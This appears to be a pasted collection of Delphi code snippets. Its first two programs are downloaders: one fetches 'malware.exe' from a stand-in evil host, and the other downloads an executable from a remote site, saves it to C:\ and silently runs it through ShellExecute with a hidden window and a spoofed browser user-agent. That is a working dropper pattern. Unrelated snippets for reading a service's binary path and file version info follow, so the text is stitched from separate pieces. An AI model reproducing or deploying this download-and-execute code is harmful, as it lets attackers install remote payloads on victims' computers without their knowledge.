program Download;

uses Windows, WinInet;

function ExtractFileName(FileName: string): string;
begin
while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
while Pos('/', FileName) <> 0 do Delete(FileName, 1, Pos('/', FileName));
Result := FileName;
end;


function DescargarFichero(const fileURL, FileName: String): boolean;
const BufferSize = 1024;
var
hSession, hURL: HInternet;
Buffer: array[1..BufferSize] of Byte;
BufferLen: DWORD;
f: File;
sAppName: string;
begin
Result:=False;
sAppName := ExtractFileName(paramstr(0));
hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
try
hURL := InternetOpenURL(hSession, PChar(fileURL), nil,0,0,0);
try
AssignFile(f, FileName);
Rewrite(f,1);
repeat
InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen);
BlockWrite(f, Buffer, BufferLen);
until BufferLen = 0;
CloseFile(f);
Result:=True;
finally
InternetCloseHandle(hURL);
end;
finally
InternetCloseHandle(hSession);
end;
end;

begin
DescargarFichero('www.evilhost.com/malware.exe', 'malware.exe');
end.

======================HttpDownloader===========================

program Downloader;

uses
Windows,
SysUtils,
Classes,
WinInet;

type
TDownloadParams = record
FileURL,
Proxy,
ProxyBypass,
AuthUserName,
AuthPassword: String;
DownloadFrom,
NeedDataSize: DWORD;
end;

function ShellExecute(hWnd: LongWord; Operation, FileName, Parameters,
Directory: PChar; ShowCmd: Integer): HINST; stdcall; external 'shell32.dll' name 'ShellExecuteA';

function DownloadFileEx(
Params: TDownloadParams; OutputData: TStream): Boolean;

function DelHttp(URL: String): String;
var
HttpPos: Integer;
begin
HttpPos := Pos('http://', URL);
if HttpPos > 0 then Delete(Url, HttpPos, 7);
Result := Copy(Url, 1, Pos('/', Url) - 1);
if Result = '' then Result := URL;
end;

const
Accept = 'Accept: */*' + sLineBreak; //Iniciamos construyendo un encabezado de solicitud HTTP
ProxyConnection = 'Proxy-Connection: Keep-Alive' + sLineBreak;
LNG = 'Accept-Language: ru' + sLineBreak;
AGENT =
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; ' +
'Windows NT 5.1; SV1; .NET CLR 2.0.50727)' + sLineBreak;
var
FSession, FConnect, FRequest: HINTERNET;
FHost, FScript, SRequest, ARequest: String;
Buff, IntermediateBuffer: array of Byte;
BytesRead, Res, Len,
FilePosition, OpenTypeFlags, ContentLength: Cardinal;
begin
Result := False;
ARequest := Params.FileURL;


FHost := DelHttp(ARequest);
FScript := ARequest;
Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));


if Params.Proxy = '' then
OpenTypeFlags := INTERNET_OPEN_TYPE_PRECONFIG
else
OpenTypeFlags := INTERNET_OPEN_TYPE_PROXY;
FSession := InternetOpen('',
OpenTypeFlags, PChar(Params.Proxy), PChar(Params.ProxyBypass), 0);

if not Assigned(FSession) then Exit;
try

FConnect := InternetConnect(FSession, PChar(FHost),
INTERNET_DEFAULT_HTTP_PORT, PChar(Params.AuthUserName),
PChar(Params.AuthPassword), INTERNET_SERVICE_HTTP, 0, 0);

if not Assigned(FConnect) then Exit;
try


FRequest := HttpOpenRequest(FConnect, 'GET', PChar(FScript), nil,
'', nil, 0, 0);


HttpAddRequestHeaders(FRequest, Accept,
Length(Accept), HTTP_ADDREQ_FLAG_ADD);
HttpAddRequestHeaders(FRequest, ProxyConnection,
Length(ProxyConnection), HTTP_ADDREQ_FLAG_ADD);
HttpAddRequestHeaders(FRequest, LNG,
Length(LNG), HTTP_ADDREQ_FLAG_ADD);
HttpAddRequestHeaders(FRequest, AGENT,
Length(AGENT), HTTP_ADDREQ_FLAG_ADD);


Len := 0;
Res := 0;
SRequest := ' ';
HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest[1], Len, Res);
if Len > 0 then
begin
SetLength(SRequest, Len);
HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest[1], Len, Res);
end;

if not Assigned(FConnect) then Exit;
try


if not (HttpSendRequest(FRequest, nil, 0, nil, 0)) then Exit;


ContentLength := InternetSetFilePointer(
FRequest, 0, nil, FILE_END, 0);
if ContentLength = DWORD(-1) then
ContentLength := 0;

{
Len := 4;
ContentLength := 0;
HttpQueryInfo(FRequest, HTTP_QUERY_CONTENT_LENGTH or
HTTP_QUERY_FLAG_NUMBER, @ContentLength, Len, Res);
}


FilePosition := InternetSetFilePointer(
FRequest, Params.DownloadFrom, nil, FILE_BEGIN, 0);
if FilePosition = DWORD(-1) then
FilePosition := 0;


if Params.NeedDataSize = 0 then
Params.NeedDataSize := ContentLength;
if Integer(FilePosition) + Params.NeedDataSize >
Integer(ContentLength) then
Params.NeedDataSize := ContentLength - FilePosition;


if Params.NeedDataSize <= 0 then
begin
SetLength(IntermediateBuffer, 8192);
ContentLength := 0;
Params.NeedDataSize := 0;
BytesRead := 0;
while InternetReadFile(FRequest, @IntermediateBuffer[0],
1024, BytesRead) do
if BytesRead > 0 then
begin
SetLength(Buff, ContentLength + BytesRead);
Move(IntermediateBuffer[0], Buff[ContentLength], BytesRead);
Inc(ContentLength, BytesRead);
end
else
begin
Params.NeedDataSize := ContentLength;
Break;
end;
end
else
begin

SetLength(Buff, Params.NeedDataSize);
if not InternetReadFile(FRequest, @Buff[0],
Params.NeedDataSize, BytesRead) then Exit;
end;

OutputData.Write(Buff[0], Params.NeedDataSize);
Result := True;

finally
InternetCloseHandle(FRequest);
end;
finally
InternetCloseHandle(FConnect);
end;
finally
InternetCloseHandle(FSession);
end;
end;

var
Params: TDownloadParams;
Data: TMemoryStream;
begin
try
ZeroMemory(@Params, SizeOf(TDownloadParams));
Params.FileURL := 'http://www.freewebtown.com/pateame11/CALC.EXE';
Data := TMemoryStream.Create;
try
if DownloadFileEx(Params, Data) then
Data.SaveToFile('c:\testT.exe');
finally
Data.Free;
end;
except
on E:Exception do
Writeln(E.Classname, ': ', E.Message);
end;
SLEEP(500);
ShellExecute(0, 'open', 'C:\testT.exe', nil, nil, 0) ;
end.

///////////////////////////////////////////////////////////////////////////

uses
SvcMgr,winsvc;
function GetServicePath(const ServiceName:string):string;
var
lpcnfg:PQueryServiceConfig;
nSize:DWORD;
SvcMgr:THandle;
iLen:Integer;
Svc:THANDLE;
qResult:boolean;
begin
Result:='';
SvcMgr := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if SvcMgr=0 then
RaiseLastOSError;
try
Svc:=OpenService(SvcMgr,PChar(ServiceName),SERVICE_ALL_ACCESS);
if Svc=0 then RaiseLastOSError;
try

lpcnfg:= PQueryServiceConfig( LocalAlloc(LPTR, 4096));
if not Assigned(lpcnfg) then exit;
ZeroMemory(lpcnfg,4096);
nSize:=4096;
qResult:=QueryServiceConfig(Svc,lpcnfg,4096,nSize);
if not qResult then exit;
iLen:=Length(lpcnfg.lpBinaryPathName);
SetLength(Result,iLen);
CopyMemory(PChar(Result),PChar(lpcnfg.lpBinaryPathName),iLen);

LocalFree(HLOCAL(lpcnfg));

finally
CloseServiceHandle(Svc);
end;

finally
CloseServiceHandle(SvcMgr);
end;
end;

///////////////////////////////////////////////////////////////////////////////////////

procedure TForm1.GetVersionInfo(File_Path:STRING);
const
SNotAvailable = 'Value Not Available';
var
LanguageID: string;
CodePage: string;
TranslationLength: Cardinal;
TranslationTable: Pointer;
InfoSize, Temp, Len: DWord;
InfoBuf: Pointer;
CompanyName, FileDescription, FileVersion, InternalName, LegalCopyright: string;
LegalTradeMarks, OriginalFilename, ProductName, ProductVersion, Comments: string;
Value: PChar;
LookupString,FilePath : string;
FVersionInfoAvailable: Boolean;
begin
FilePath := File_Path;// 'c:\windows\Regedit.exe';
InfoSize := GetFileVersionInfoSize( PChar(FilePath ), Temp );
FVersionInfoAvailable := InfoSize > 0;
if FVersionInfoAvailable then
begin
InfoBuf := AllocMem( InfoSize );
try
GetFileVersionInfo( PChar( FilePath ), 0, InfoSize, InfoBuf );
if VerQueryValue( InfoBuf, '\VarFileInfo\Translation', TranslationTable, TranslationLength ) then
begin
CodePage := Format( '%.4x', [ HiWord( PLongInt( TranslationTable )^ ) ] );
LanguageID := Format( '%.4x', [ LoWord( PLongInt( TranslationTable )^ ) ] );
end;

LookupString := 'StringFileInfo\' + LanguageID + CodePage + '\';

if VerQueryValue( InfoBuf, PChar( LookupString + 'CompanyName' ), Pointer( Value ), Len ) then
CompanyName := Value;
if VerQueryValue( InfoBuf, PChar( LookupString + 'FileDescription' ), Pointer( Value ), Len ) then
FileDescription := Value;
if VerQueryValue( InfoBuf, PChar( LookupString + 'FileVersion' ), Pointer( Value ), Len ) then
FileVersion := Value;
if VerQueryValue( InfoBuf, PChar( LookupString + 'InternalName' ), Pointer( Value ), Len ) then
InternalName := Value;
if VerQueryValue( InfoBuf, PChar( LookupString + 'LegalCopyright' ), Pointer( Value ), Len ) then
LegalCopyright := Value;
if VerQueryValue( InfoBuf, PChar( LookupString + 'LegalTrademarks' ), Pointer( Value ), Len ) then
LegalTradeMarks := Value;
if VerQueryValue( InfoBuf, PChar( LookupString + 'OriginalFilename' ), Pointer( Value ), Len ) then
OriginalFilename := Value;
if VerQueryValue( InfoBuf, PChar( LookupString + 'ProductName' ), Pointer( Value ), Len ) then
ProductName := Value;
if VerQueryValue( InfoBuf, PChar( LookupString + 'ProductVersion' ), Pointer( Value ), Len ) then
ProductVersion := Value;
if VerQueryValue( InfoBuf, PChar( LookupString + 'Comments' ), Pointer( Value ), Len ) then
Comments := Value;
finally
FreeMem( InfoBuf, InfoSize );
end;
end
else
begin
CompanyName := SNotAvailable;
FileDescription := SNotAvailable;
FileVersion := SNotAvailable;
InternalName := SNotAvailable;
LegalCopyright := SNotAvailable;
LegalTrademarks := SNotAvailable;
OriginalFilename := SNotAvailable;
ProductName := SNotAvailable;
ProductVersion := SNotAvailable;
Comments := SNotAvailable;
end;
Memo1.Lines.Clear;
Memo1.Lines.Add( '公司名称：'+ CompanyName );
Memo1.Lines.Add( '文件说明：'+ FileDescription );
Memo1.Lines.Add( '文件版本：'+ FileVersion );
Memo1.Lines.Add( '内部名称：'+ InternalName );
Memo1.Lines.Add( '版 权：'+ LegalCopyright );
Memo1.Lines.Add( '合法商标：'+ LegalTrademarks );
Memo1.Lines.Add( '原文件名：'+ OriginalFilename );
Memo1.Lines.Add( '产品名称：'+ ProductName );
Memo1.Lines.Add( '产品版本：'+ ProductVersion );
Memo1.Lines.Add( '注 解：'+ Comments );
end;